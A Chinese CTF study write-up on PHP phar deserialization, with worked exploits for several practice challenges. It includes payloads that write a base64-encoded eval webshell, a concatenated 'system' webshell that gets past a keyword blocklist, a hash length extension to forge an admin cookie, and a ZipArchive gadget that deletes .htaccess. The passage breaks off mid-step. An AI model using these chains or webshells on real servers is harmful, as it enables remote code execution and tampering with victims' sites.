PHP反序列化专题(二)

写在最前面,全文采自网上,对相关资源进行了整合,主要留以自己学习用,忘记记录各位大佬的链接了。

phar 反序列化

.phar反序列化漏洞,利用phar文件会以序列化的形式存储用户自定义的meta-data这一特性,拓展了php反序列化漏洞的攻击面。该方法在文件系统函数(file_exists()is_dir()等)参数可控的情况下,配合phar://伪协议,可以不依赖unserialize()直接进行反序列化操作。
一般情况下只要满足一下三条就可以实现phar反序列化攻击

可以上传Phar文件
有可以利用的魔术方法
文件操作函数的参数可控

phar结构

翻阅手册可以知道,phar由四个部分组成,分别是stub、manifest describing the contents、 the file contents、 [optional] a signature for verifying Phar integrity (phar file format only),以下是对详细的介绍:
a stub
标识作用,格式为xxx<?php xxx; __HALT_COMPILER();?>,前面任意,但是一定要以__HALT_COMPILER();?>结尾,否则php无法识别这是一个phar
a manifest describing the contents
phar文件实质上是一种压缩文件,其中压缩信息、权限等都在这一部分里。当然,我们所需的攻击利用点meta-data序列化信息也在这一部分中。具体结如下:

Size in bytesDescription
4 bytesLength of manifest in bytes(1 MB limit)
4 bytesNumber of files in the Phar
2 bytesAPI version the Phar manifest
4 bytesGlobal Phar bitmapped flags
4 bytesLength of Phar alias
??Phar alias (Length based on previous)
4 bytesLength of Phar metadata (0 for none)
??Serialized Phar Meta-data, stored in serialize() format
at least 24 * number of entries bytesentries for each file

其中倒数第二行就是说用户自定义的Meta-data会以序列化形式储存

the file contents

被压缩的文件。

[optional] a signature for verifying Phar integrity (phar file format only)

文件签名,放在文件末尾。格式如下

Length in bytesDescription
16 or 20 bytesThe actual signature, 20 bytes for an SHA1 signature, 16 bytes for an MD5 signature, 32 bytes for an SHA256 signature,and 64 bytes for an SHA512 signature.
4 bytesSignature flags. Ox0001 is used to define an MD5 signature, Ox0002 is used to define an SHA1 signature, Ox0004 is used to define an SHA256 signature,and Ox0008 is used to define an SHA512 signature. The SHA256 and SHA512 signature support was introduced with API version 1. 1. 0.
4 bytesMagic GBMB used to define the presence of a signature.

Phar文件的生成

注意:要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件。

<?php
    class TestObject {
    }
    // 生成phar 文件的格式
    @unlink("phar.phar");
    $o = new TestObject();
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>

示例

<?php
highlight_file(__FILE__);
class Evil {
    protected $val;
    function __construct($val) {
        $this->val = $val;
    }
    function __wakeup() {
        assert($this->val);
    }
}
?>
<?php
#phar.php
highlight_file(__FILE__);
//@unlink("phar.phar");
require_once('phar_class.php');
$exception = new Evil('phpinfo()');
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php__HALT_COMPILER(); ?>");
$phar->setMetadata($exception);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>

运行即可生成phar.phar直接使用记事本打开有部分是乱码,但是序列化的部分清晰可见

<?php__HALT_COMPILER(); ?>
b              ,   O:4:"Evil":1:{s:6:" * val";s:9:"phpinfo()";}   test.txt   z    繼   ~囟      testQ臂矡/e舽H聧MXu dt   GBMB

仔细看

O:4:"Evil":1:{s:6:" * val";s:9:"phpinfo()";}

正是刚才我所生成Meta_data$exception的序列化内容,反序列化结果 也正好印证了结果。

<?php
highlight_file(__FILE__);
$a='O:4:"Evil":1:{S:6:"\00*\00val";s:9:"phpinfo()";}';
var_dump(unserialize($a));
?> 
//object(__PHP_Incomplete_Class)#1 (2) { ["__PHP_Incomplete_Class_Name"]=> string(4) "Evil" ["val":protected]=> string(9) "phpinfo()" }

那既然是序列化后存入文件 必然存在反序列化的读取文件!这也是phar中利用phar://协议进行反序列化攻击的要点!

测试简单利用:

#phar_test.php
<?php
require_once('Evil.class.php');
if ( file_exists($_REQUEST['url']) ) {
    echo 'success!';
} else {
    echo 'error!';
}
?>

访问phar_test.php通过GET或者POST方式传参,参数内容就是phar://协议对刚才生成的phar.phar进行读取

成功读取到phpinfo信息!

phar://协议可利用的函数( 最主要的是调用了php_stream_open_wrapper_ex )

受影响函数列表
fileatimefilectimefile_existsfile_get_contents
file_put_contentsfilefilegroupfopen
fileinodefilemtimefileownerfileperms
is_diris_executableis_fileis_link
is_readableis_writableis_writeableparse_ini_file
copyunlinkstatreadfile

phar文件的伪造与利用

phpphar的识别是通过其文件头的stub中的__HALT_COMPILER(); ?>代码。对其前置文件头和后缀文件名都没有关系,那一定意义上就是形成了任意文件的伪造。采用这种方法可以绕过很大一部分上传检测(可以绕过exif_imagetype等函数判断)

例如:$phar->setStub("GIF89a" . "<?php __HALT_COMPILER(); ?>");

这样生成了一个.phar文件打开看文件头为GIF98a,在人工干预下将文件后缀改为gif再利用之前的phar_test页面,利用phar://协议读取该.gif文件,也能够成功执行。

//phar_test_normal.php
payload:  ?url=phar://phar.gif

总体来说,phar的反序列化利用,主要重点不在构造反序列化语句上,重心在设置正常的payload下生成.phar文件。

总结下来,phar的利用条件如下:

1.含有__HALT_COMPILER(); ?>内容的文件能够上传未被过滤。
2.未过滤参数中含有的'phar',':','//'等字符。
3.有受影响参数做跳板实现文件读取。

EzBypass

<?php
#phar_test.php
highlight_file(__FILE__);
require_once('phar_class.php');
$url=$_GET['url'];
$URL=preg_match('/^[phar]+:\/\//i',$url);
//var_dump($URL);
if($URL===1){
    echo "<br>Bad Hacker!";
} else {
file_get_contents($url);
}
?>

preg_match('/^[phar]+:\/\//i',$a, $b);利用正则对参数头进行检查

这时候可以利用如下规则函数进行绕过compress.zlib://或者compress.bzip2://,这两个函数同样适用于phar://

利用原理依旧是phar://读取文件

//phar_test_perg_match.php
payload:
        ?url=compress.zlib://phar://phar.gif
        ?url=compress.bzip2://phar://phar.gif

其他绕过技巧:

@include('php://filter/read=convert.base64-encode/resource=phar://phar.phar');
mime_content_type('php://filter/read=convert.base64-encode/resource=phar://phar.phar')

例题-11

为了举个例子,让我自己体会一下做()题()的快乐,自己改了一个极其简单的CTF题。主有两篇代码:

<!DOCTYPE html>
<html>
<head>
  <title>Stupid!</title>
</head>
<body>
<h1>You can't find the flag!</h1>
<h2 style="color:red">If you can fuck me!</h2>
<?php show_source('class.php');?>
<h2><!--The flag in Top!--></h2>
<form action="" method="post" enctype="multipart/form-data"> 
<label for="file">文件名:</label> 
<input type="file" name="file" id="file"><br> 
<input type="submit" name="submit" value="提交"> 
</from>
</body>
</html>
<?php
if(!empty($_FILES["file"])) {
  echo $_FILES["file"];
  $allowedExts = array("gif", "jpeg", "jpg","png");
  @$temp = explode(".",$_FILES["file"]["name"]);
  $extension = end($temp);
  if (((@$_FILES["file"]["type"] =="image/gif") || (@$_FILES["file"]["type"] =="image/jpeg")
     || (@$_FILES["file"]["type"] =="image/jpg") || (@$_FILES["file"]["type"] =="image/pjpeg")
     || (@$_FILES["file"]["type"] =="image/x-png") || (@$_FILES["file"]["type"] =="image/png"))
     && (@$_FILES["file"]["size"] < 102400)&& in_array($extension, $allowedExts)) {
    move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $_FILES["file"]["name"]);
    echo "file upload successful!Save in:  " . "upload/" .$_FILES["file"]["name"];
  } else {
    echo "upload failed!";
  }
}
?>
<?php
//class.php
class foo
{
  var $ha = 'echo "ok";';
  function __destruct() {
    eval($this->ha);
  }
}
$ka = $_GET['file'];
echo $ka;
var_dump(file_exists($ka));
?>

很简单的两个页面,index有提示说,反正提示让拿shell才能找到flag,所以重点就在getshell正好又有文件上传,很容易想到上传webshell,没有写很严格的过滤,所以常规webshell估计是可以的,没有做测试,毕竟我是为了学习phar获得shell,除此之外还给了提示,给了class.php的源码。

分析代码不难发现,具有以下特点:

1.存在上传点,且没有过滤phar://
2.foo类中存在魔术方法__destruct() ,且有eval函数
3.存在文件函数file_exists()

那就满足了phar://反序列化利用的条件了,PoP链也很简单,直接写exp

(shell的生成代码是网上学的,如有雷同,算我抄你的)

<?php
//把要进行反序列化的对象放在此处
class foo {
  var $ha = "file_put_contents(pathinfo(__FILE__,PATHINFO_DIRNAME).'/shell.php',base64_decode('PD9waHAgZXZhbCgkX1JFUVVFU1RbJ2V4cCddKTs/Pg=='),FILE_APPEND);echo 'success!';";
}
//生成对应可被利用的对象
$o = new foo(); //shell的口令是exp

//生成exp.phar
@unlink("exp.phar");
$phar = new Phar("exp.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER();?>"); //设置stub,增加gif文件头用以欺骗检测
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("test.txt","test"); //添加要压缩的文件
$phar->stopBuffering(); //签名自动计算

echo "Phar is ready!";
?>

执行文件之后,返回了Phar is ready!说明phar生成成功了!把文件尾改成gif,并上传文件,记下文件路径/upload/exp.gif,在class.php,执行payload:?file=phar://upload/exp.gif,看到success!说明shell也成功生成了!其在index.php文件夹下,成功getshell
这题可以无限变种,各种过滤,各种套娃,还是要继续学习waf的绕过。

例题-12

[SWPUCTF]2018 SimplePHP 复现环境: win10+php 5.6.21

进入页面,正常搜索信息,发现有上传文件查看文件,在后者发现有文件包含,而且有源码泄露,浏览一圈,发现几个网页的关键源代码如下。

//file.php
<?php
header("content-type:text/html;charset=utf-8"); 
include 'function.php';
include 'class.php';
ini_set('open_basedir','/var/www/html/');
$file = $_GET["file"] ? $_GET['file'] : "";
if(empty($file)) {
    echo "<h2>There is no file to show!<h2/>";
}
$show = new Show();
if(file_exists($file)) {
    $show->source = $file;
    $show->_show();
} else if (!empty($file)){
    die('file doesn\'t exists.');
}
?>
//function.php
<?php 
//show_source(__FILE__); 
include "base.php"; 
header("Content-type: text/html;charset=utf-8"); 
error_reporting(0); 
function upload_file_do() { 
    global $_FILES; 
    $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg"; 
    //mkdir("upload",0777); 
    if(file_exists("upload/" . $filename)) { 
        unlink($filename); 
    } 
    move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename); 
    echo '<script type="text/javascript">alert("上传成功!");</script>'; 
} 
function upload_file() { 
    global $_FILES; 
    if(upload_file_check()) { 
        upload_file_do(); 
    } 
} 
function upload_file_check() { 
    global $_FILES; 
    $allowed_types = array("gif","jpeg","jpg","png"); 
    $temp = explode(".",$_FILES["file"]["name"]); 
    $extension = end($temp); 
    if(empty($extension)) { 
        //echo "<h4>请选择上传的文件:" . "<h4/>"; 
    } 
    else{ 
        if(in_array($extension,$allowed_types)) { 
            return true; 
        } 
        else { 
            echo '<script type="text/javascript">alert("Invalid file!");</script>'; 
            return false; 
        } 
    } 
} 
?> 
//class.php
<?php
class C1e4r
{
    public $test;
    public $str;
    public function __construct($name)
    {
        $this->str = $name;
    }
    public function __destruct()
    {
        $this->test = $this->str;
        echo $this->test;
    }
}

class Show
{
    public $source;
    public $str;
    public function __construct($file)
    {
        $this->source = $file;   //$this->source = phar://phar.jpg
        echo $this->source;
    }
    public function __toString()
    {
        $content = $this->str['str']->source;
        return $content;
    }
    public function __set($key,$value)
    {
        $this->$key = $value;
    }
    public function _show()
    {
        if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
            die('hacker!');
        } else {
            highlight_file($this->source);
        }
        
    }
    public function __wakeup()
    {
        if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
            echo "hacker~";
            $this->source = "index.php";
        }
    }
}
class Test
{
    public $file;
    public $params;
    public function __construct()
    {
        $this->params = array();
    }
    public function __get($key)
    {
        return $this->get($key);
    }
    public function get($key)
    {
        if(isset($this->params[$key])) {
            $value = $this->params[$key];
        } else {
            $value = "index.php";
        }
        return $this->file_get($value);
    }
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
}
?>

其次,除上述源码,还在base.php发现提示 ,以及一句返回访问IP的代码 <?php echo $_SERVER['REMOTE_ADDR'];?>

代码分析

分析代码发现file.php调用了show类,并且对f1ag.php进行了过滤,还对一些常见的协议进行了过滤。在function.php内又看到,对上传的文件做了白名单限制,只能是常见的四种图片格式。继续追踪源码,最终Test类引起了注意,只有这个地方有一个file_get_contents()函数,但是并没有unserialize函数能够让我们调用它,结合文件上传,源码泄露,协议过滤等可以联想到用Phar来进行反序列化操作,现在审代码,构造PoP链。

首先要解决phar文件能够上传,因为phar的特性,所以可以将其伪造成任意文件;

其次是要有对phar文件操作的限制,在file.php中找到file_exits()函数,并且$file参数可控;

最后是可调用的魔法函数

C1e4r类中有__destruct()函数,有可利用的echo $this->test
show类中有__toString()函数,在调用echo,print_r等函数自动被调用,将对象转化为字符串,可利用$content = $this->str['str']->source;
Test类中有__get()函数,其是在访问一个类不存在或者是不可访问的变量是会触发;
    利用 this->__get($key)-->this−>get($key)−−>this->file_get(value); -->
base64_encode(file_get_contents($value));

POP链分析

C1e4r::destruct() --> Show::toString() --> Test::__get() -->Test::get()-->Test::file_get()

即调用函数的顺序,通过该逻辑构造exp

<?php
class C1e4r
{
    public $test;
    public $str;
}

class Show
{
    public $source;
    public $str;
}
class Test
{
    public $file;
    public $params;

}

$c1e4r = new C1e4r();
$show = new Show();
$test = new Test();
$test->params['source'] = 'D:\phpstudy\WWW\serialize\example\4-phar_serialize\SWPUCTF_Phar\f1ag.php';
$c1e4r->str = $show;   //利用  $this->test = $this->str; echo $this->test;
$show->str['str'] = $test;  //利用 $this->str['str']->source;


$phar = new Phar("exp.phar"); //.phar文件
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ? >'); //固定的
$phar->setMetadata($c1e4r); //触发的头是C1e4r类,所以传入C1e4r对象
$phar->addFromString("exp.txt", "success"); //随便写点什么生成个签名
$phar->stopBuffering();

?>

构造出的phar文件,将其改为.gif上传

GIF89a<?php__HALT_COMPILER(); ?>
              ?   O:5:"C1e4r":2:{s:4:"test";N;s:3:"str";O:4:"Show":2:{s:6:"source";N;s:3:"str";a:1:{s:3:"str";O:4:"Test":2:{s:4:"file";N;s:6:"params";a:1:{s:6:"source";s:72:"D:\phpstudy\WWW\serialize\example\4-phar_serialize\SWPUCTF_Phar\f1ag.php";}}}}}   exp.txt   L裗   策 o?      successぃ*韀烿醆m遲   GBMB

显示上传成功,进行最后一步,将文件名推出来,再用phar://读取

$filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg"; 这是源码中的命名方式,

md5(exp.gif127.0.0.1)41859a99918a3db4fc9260fa72e4dd1d

构造payload为:?file=phar://upload/41859a99918a3db4fc9260fa72e4dd1d.jpg

GIF89a<?php__HALT_COMPILER(); ?>
PD9waHAgDQoJLy8kYSA9ICdmbGFne3RoMXNfMXNfZjRsZ30nOw0KID8+

得到回显,base64解码即可得到flag

例题-13

bytectf_2019_ezcms phar反序列化的最后一个例题。

首先在网上翻找大师傅们的wp,发现除了上面提到的一些函数受到影响外,还有一些函数同样受到了影响:

其余受影响函数
exifexif_thumbnailexif_imagetype
gdimageloadfontimagecreatefrom
hashhash_hmac_filehash_file
hash_update_filemd5_filesha1_file
file / urlget_meta_tagsget_headers
standardgetimagesizegetimagesizefromstringfinfo_file/finfo_buffer/mime_content_type

zip

$zip = new ZipArchive();
$res = $zip->open('c.zip');
$zip->extractTo('phar://test.phar/test');

Postgres

$pdo = new PDO(sprintf("pgsql:host=%s;dbname=%s;user=%s;password=%s", "127.0.0.1", "postgres", "sx", "123456"));
@$pdo->pgsqlCopyFromFile('aa', 'phar://test.phar/aa');

MySQL

LOAD DATA LOCAL INFILE也会触发这个php_stream_open_wrapper.

mysql需如下配置:

[mysqld]
local-infile=1
secure_file_priv=""
class A {
  public $s = '';
  public function __wakeup () {
    system($this->s);
  }
}
$m = mysqli_init();
mysqli_options($m, MYSQLI_OPT_LOCAL_INFILE, true);
$s = mysqli_real_connect($m, 'localhost', 'root', '123456', 'easyweb', 3306);
$p = mysqli_query($m, 'LOAD DATA LOCAL INFILE \'phar://test.phar/test\' INTO TABLE a LINES TERMINATED BY \'\r\n\' IGNORE 1 LINES;');

回到题目中去,这个题涉及两个知识点(复现环境Ubuntu18.04+php5.6.40)

Hash 长度拓展攻击
Phar 反序列化

扫描发现存在www.zip下载下来就是网站源码。包含四个文件:

1.index.php页面验证登陆,可以任意账号登陆到upload.php上传页面,但是只有admin账号才能进行文件上传;
2.访问了upload.php,就会在沙盒下生成一个.htaccess文件,内容为:lolololol, i control all;
3.上传文件后,会返回文件的存储路径,view details可以进入view.php,会回显文件的mime类型以及文件路径;
4.因为目录下的.htaccess被写入了内容,无法解析,所以访问上传的文件会报500。

config.php

<?php
session_start();
error_reporting(0);
$sandbox_dir = 'sandbox/'. md5($_SERVER['REMOTE_ADDR']);
global $sandbox_dir;

function login(){
    $secret = "********";
    setcookie("hash", md5($secret."adminadmin"));
    return 1;
}

function is_admin(){
    $secret = "********";
    $username = $_SESSION['username'];
    $password = $_SESSION['password'];
    if ($username == "admin" && $password != "admin"){
        if ($_COOKIE['user'] === md5($secret.$username.$password)){
            return 1;
        }
    }
    return 0;
}

class Check{
    public $filename;
    function __construct($filename) {
        $this->filename = $filename;
    }

    function check(){
        $content = file_get_contents($this->filename);
        $black_list = ['system','eval','exec','+','passthru','`','assert'];
        foreach ($black_list as $k=>$v){
            if (stripos($content, $v) !== false){
                die("your file make me scare");
            }
        }
        return 1;
    }
}

class File{
    public $filename;
    public $filepath;
    public $checker;
    function __construct($filename, $filepath) {
        $this->filepath = $filepath;
        $this->filename = $filename;
    }

    public function view_detail(){
        if (preg_match('/^(phar|compress|compose.zlib|zip|rar|file|ftp|zlib|data|glob|ssh|expect)/i', $this->filepath)){
            die("nonono~");
        }
        $mine = mime_content_type($this->filepath);
        $store_path = $this->open($this->filename, $this->filepath);
        $res['mine'] = $mine;
        $res['store_path'] = $store_path;
        return $res;
    }

    public function open($filename, $filepath){
        $res = "$filename is in $filepath";
        return $res;
    }
    
    function __destruct() {
        if (isset($this->checker)){
            $this->checker->upload_file();
        }
    }
}

class Admin{
    public $size;
    public $checker;
    public $file_tmp;
    public $filename;
    public $upload_dir;
    public $content_check;
    function __construct($filename, $file_tmp, $size) {
        $this->upload_dir = 'sandbox/'.md5($_SERVER['REMOTE_ADDR']);
        if (!file_exists($this->upload_dir)){
            mkdir($this->upload_dir, 0777, true);
        }
        if (!is_file($this->upload_dir.'/.htaccess')){
            file_put_contents($this->upload_dir.'/.htaccess', 'lolololol, i control all');
        }
        $this->size = $size;
        $this->filename = $filename;
        $this->file_tmp = $file_tmp;
        $this->content_check = new Check($this->file_tmp);
        $profile = new Profile();
        $this->checker = $profile->is_admin();
    }

    public function upload_file(){
        if (!$this->checker){
            die('u r not admin');
        }
        $this->content_check -> check();
        $tmp = explode(".", $this->filename);
        $ext = end($tmp);
        if ($this->size > 204800){
            die("your file is too big");
        }
        move_uploaded_file($this->file_tmp, $this->upload_dir.'/'.md5($this->filename).'.'.$ext);
    }

    public function __call($name, $arguments) {
    }
}

class Profile{
    public $username;
    public $password;
    public $admin;
    public function is_admin(){
        $this->username = $_SESSION['username'];
        $this->password = $_SESSION['password'];
        $secret = "********";
        if ($this->username === "admin" && $this->password != "admin"){
            if ($_COOKIE['user'] === md5($secret.$this->username.$this->password)){
                return 1;
            }
        }
        return 0;
    }
    function __call($name, $arguments) {
        $this->admin->open($this->username, $this->password);
    }
}

index.php

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>EzCMS</title>
</head>

<body>
<h2>Login platform</h2>
<div>
    <p>假装这是一个超级漂亮的前端</p>
    <p>先来登录吧~</p>
</div>
<form action="index.php" method="post" enctype="multipart/form-data">
    <label for="file">用户名:</label>
    <input type="text" name="username" id="username"><br>
    <label for="file">密码:</label>
    <input type="password" name="password" id="password"><br>
    <input type="submit" name="login" value="提交">
</form>
</body>
</html>

<?php
error_reporting(0);
include('config.php');
if (isset($_POST['username']) && isset($_POST['password'])){
    $username = $_POST['username'];
    $password = $_POST['password'];
    $username = urldecode($username);
    $password = urldecode($password);
    if ($password === "admin"){
        die("u r not admin !!!");
    }
    $_SESSION['username'] = $username;
    $_SESSION['password'] = $password;

    if (login()){
        echo '<script>location.href="upload.php";</script>';
    }
}

upload.php

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>EzCMS</title>
</head>

<body>
<h2>Upload platform</h2>
<div>
    <p>假装这还是个无敌炫酷的前端</p>
</div>

<form action="upload.php" method="post" enctype="multipart/form-data">
    <label for="file">文件名:</label>
    <input type="file" name="file" id="file"><br>
    <input type="submit" name="upload" value="提交">
</form>
</body>
</html>

<?php
include ("config.php");
if (isset($_FILES['file'])){
    $file_tmp = $_FILES['file']['tmp_name'];
    $file_name = $_FILES['file']['name'];
    $file_size = $_FILES['file']['size'];
    $file_error = $_FILES['file']['error'];
    if ($file_error > 0){
        die("something error");
    }
    $admin = new Admin($file_name, $file_tmp, $file_size);
    $admin->upload_file();
}else{
    $sandbox = 'sandbox/'.md5($_SERVER['REMOTE_ADDR']);
    if (!file_exists($sandbox)){
        mkdir($sandbox, 0777, true);
    }
    if (!is_file($sandbox.'/.htaccess')){
        file_put_contents($sandbox.'/.htaccess', 'lolololol, i control all');
    }
    echo "view my file : "."<br>";
    $path = "./".$sandbox;
    $dir = opendir($path);
    while (($filename = readdir($dir)) !== false){
        if ($filename != '.' && $filename != '..'){
            $files[] = $filename;
        }
    }
    foreach ($files as $k=>$v){
        $filepath = $path.'/'.$v;
        echo <<<EOF
        <div style="width: 1000px; height: 30px;">
        <Ariel>filename: {$v}</Ariel>
        <a href="view.php?filename={$v}&filepath={$filepath}">view detail</a>
</div>
EOF;
    }
    closedir($dir);
}

view.php

<?php
error_reporting(0);
include ("config.php");
$file_name = $_GET['filename'];
$file_path = $_GET['filepath'];
$file_name=urldecode($file_name);
$file_path=urldecode($file_path);
$file = new File($file_name, $file_path);
$res = $file->view_detail();
$mine = $res['mine'];
$store_path = $res['store_path'];

echo <<<EOT
<div style="height: 30px; width: 1000px;">
<Ariel>mine: {$mine}</Ariel><br>
</div>
<div style="height: 30px; ">
<Ariel>file_path: {$store_path}</Ariel><br>
</div>
EOT;

index页面中对密码进行了简单的验证,判断是否等于admin,其次就调用config页面中的login()函数了。

function login(){
    $secret = "********";
    setcookie("hash", md5($secret."adminadmin"));
    return 1;
}

发现只要密码不为0,就可以登陆进去。但是上传文件就显示 u r not admin ,在upload.php找线索

//upload.php中关于文件上传部分实例化了一个Admin对象,并调用了upload_file()函数  
$admin = new Admin($file_name, $file_tmp, $file_size);
$admin->upload_file();
//config.php  Admin类
//在构造函数__construct()中实例化了一个Profile对象,并调用is_admin()函数
class Admin{
    function __construct($filename, $file_tmp, $size) {
        $profile = new Profile();
        $this->checker = $profile->is_admin();
    }
//config.php  Profile类
class Profile{
    public function is_admin(){
        $this->username = $_SESSION['username'];
        $this->password = $_SESSION['password'];
        $secret = "********";
        if ($this->username === "admin" && $this->password != "admin"){
            if ($_COOKIE['user'] === md5($secret.$this->username.$this->password)){
                return 1;
            }
        }
        return 0;
    }
}

这就牵涉到一个新知识点:hash长度扩展攻击

hash长度扩展攻击

指针对某些允许包含额外信息的加密散列函数的攻击手段。该攻击适用于在消息与密钥的长度已知的情形下,所有采取了 H(密钥 ∥ 消息) 此类构造的散列函数。

如果一个应用程序是这样操作的:

  1. 准备了一个密文和一些数据构造成一个字符串里,并且使用了MD5之类的哈希函数生成了一个哈希值(也就是所谓的signature/签名);
  2. 让攻击者可以提交数据以及哈希值,虽然攻击者不知道密文;
  3. 服务器把提交的数据跟密文构造成字符串,并经过哈希后判断是否等同于提交上来的哈希值;

这个时候,该应用程序就易受长度扩展攻击,攻击者可以构造出{secret || data || attacker_controlled_data}的哈希值。实际上对以下算法都能实现hash长度扩展攻击,包括md4,md5,ripemd-160,sha-0,sha-1,sha-256,sha-512等。

在我们已知secret长度和初始加密后的数据data,且已知采用的加密算法,此时就可以追加数据并生成有效的签名,常用工具有HashPumphash_extender 等,这里采用HashPump

Profile类可知,secret长度为8,且通过任意登录可得hash为52107b08c0f3342d2153ae1d68e6262c

root@kali:~/HashPump# hashpump
Input Signature: 52107b08c0f3342d2153ae1d68e6262c
Input Data: admin
Input Key Length: 13
Input Data to Add: Tr0jAn
9ee1da795f3b2e18f117b5b7c64ecead
admin\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x90\x00\x00\x00\x00\x00\x00\x00Tr0jAn
$_COOKIE['user'] = 9ee1da795f3b2e18f117b5b7c64ecead
用户名:admin
密码:admin%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%90%00%00%00%00%00%00%00Tr0jAn

成功已admin身份登录,可以上传文件了,回到主线,在实例化了Admin类后调用了upload_file()函数

public function upload_file(){
    if (!$this->checker){
        die('u r not admin');
    }
    $this->content_check -> check();
    $tmp = explode(".", $this->filename);
    $ext = end($tmp);
    if ($this->size > 204800){
        die("your file is too big");
    }
    move_uploaded_file($this->file_tmp, $this->upload_dir.'/'.md5($this->filename).'.'.$ext);
}

可以看到又调用了一个check()函数,存在过滤,无法传马

//config.php Check类check()函数
function check(){
    $content = file_get_contents($this->filename);
    $black_list = ['system','eval','exec','+','passthru','`','assert'];
    foreach ($black_list as $k=>$v){
        if (stripos($content, $v) !== false){
            die("your file make me scare");
        }
    }
    return 1;
}

此时有两个思路:

1.文件上传到其他文件夹,摆脱自动生成的.htaccess文件的控制;
2.先上传一个马,然后反序列化将.htaccess文件重写覆盖掉。

Phar反序列化利用

注意到view.php中将上传的文件实例化了一个File()

class File{
    public $filename;
    public $filepath;
    public $checker;
    function __construct($filename, $filepath) {
        $this->filepath = $filepath;
        $this->filename = $filename;
    }

    public function view_detail(){
        if (preg_match('/^(phar|compress|compose.zlib|zip|rar|file|ftp|zlib|data|glob|ssh|expect)/i', $this->filepath)){
            die("nonono~");
        }
        $mine = mime_content_type($this->filepath);
        $store_path = $this->open($this->filename, $this->filepath);
        $res['mine'] = $mine;
        $res['store_path'] = $store_path;
        return $res;
    }
    
    public function open($filename, $filepath){
        $res = "$filename is in $filepath";
        return $res;
    }

    function __destruct() {
        if (isset($this->checker)){
            $this->checker->upload_file();
        }
    }
}

view_detail()函数中发现了$mine = mime_content_type($this->filepath);,该函数也受到影响会触发phar://协议,关注该类中的魔法函数__destruct()函数,调用了一个该类中不存在的函数upload_file(),自然而然的就想到了__call()函数,

//Admin类中的__call()函数
public function __call($name, $arguments) {
}

//Profile类中的__call()函数
function __call($name, $arguments) {
    $this->admin->open($this->username, $this->password);
}

因为不知道临时储存文件的目录,所以思路一不成立,故不能进入Admin类,所以选择Profile类中的__call()函数,该函数用参数$admin调用了File类的open()函数

public function open($filename, $filepath){
    $res = "$filename is in $filepath";
    return $res;
}

但观察至此,没有任何的利用点,看了大手子们的wp,才了解到,因为参数$admin可控,所以可以找下php里面有没有可以用来删除、重写文件的类,且正好存在可利用的同名open()函数这样我们就可以将$admin实例化为此类的对象。佬佬们查到的ZipArchive类中就存在这样的函数

ZipArchive :: open ( string $filename [, int $flags ]): mixed

第一个参数为文件名,第二个参数可以设置使用的模式。

//使用下述两个模式并将文件名设置为.htaccess的路径,即可删除文件(重点是第二个)。
Ziparchive::create(integer)
//如果不存在则创建一个zip压缩包
Ziparchive::overwrite(integer)
//总是一个新的压缩包开始,此模式下如果已存在则会被覆盖

POP链构造

先上传一个shell备用,然后构造phar文件通过view.phpview_detail()函数的mime_content_type()进行Phar的反序列化,调用__destruct()函数,再实例化一个Profile类以调用__call()函数,进而实例化一个ziparchive类以调用__open()函数,再利用ziparchive::overwrite删除掉.htaccess

因为有check()函数过滤所以马儿只能传如下system的拼接模式

<?php
$a='sys'.'tem';
$a($_REQUEST['phar']);
?>

得到路径信息和加密后的文件名:

mine: text/x-php
file_path: 25a452927110e39a345a2511c57647f2.php is in ./sandbox/3accb9900a8be5421641fb31e6861f33/25a452927110e39a345a2511c57647f2.php

接下来构造phar文件

<?php
class File{
    public $filename;
    public $filepath;
    public $checker;
    function __construct($filename, $filepath)
    {
        $this->filepath = $filepath;
        $this->filename = $filename;
        $this->checker = new Profile();
    }
}

class Profile{
    public $username;
    public $password;
    public $admin;
    function __construct()
    {
        $this->username =  "/var/www/html/sandbox/3accb9900a8be5421641fb31e6861f33/.htaccess";
        $this->password = ZipArchive::OVERWRITE;
        $this->admin = new ZipArchive();
    }
}
$a = new File('Tr0jAn','Tr0jAn');
@unlink("rce.phar");
$phar = new Phar("rce.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); 
$phar->setMetadata($a); 
$phar->addFromString("test.txt", "test"); 
$phar->stopBuffering();
?>

运行得到rce.phar,上传后得到路径信息:

mine: application/octet-stream
file_path: a9f69fdbb6876b03a866ce1a86f831f2.phar is in ./sandbox/3accb9900a8be5421641fb31e6861f33/a9f69fdbb6876b03a866ce1a86f831f2.phar

此时页面在view.php修改url

//修改前
http://192.168.32.134/view.php?filename=9c7f4a2fbf2dd3dfb7051727a644d99f.phar&filepath=./sandbox/3accb9900a8be5421641fb31e6861f33/a9f69fdbb6876b03a866ce1a86f831f2.phar
//修改后
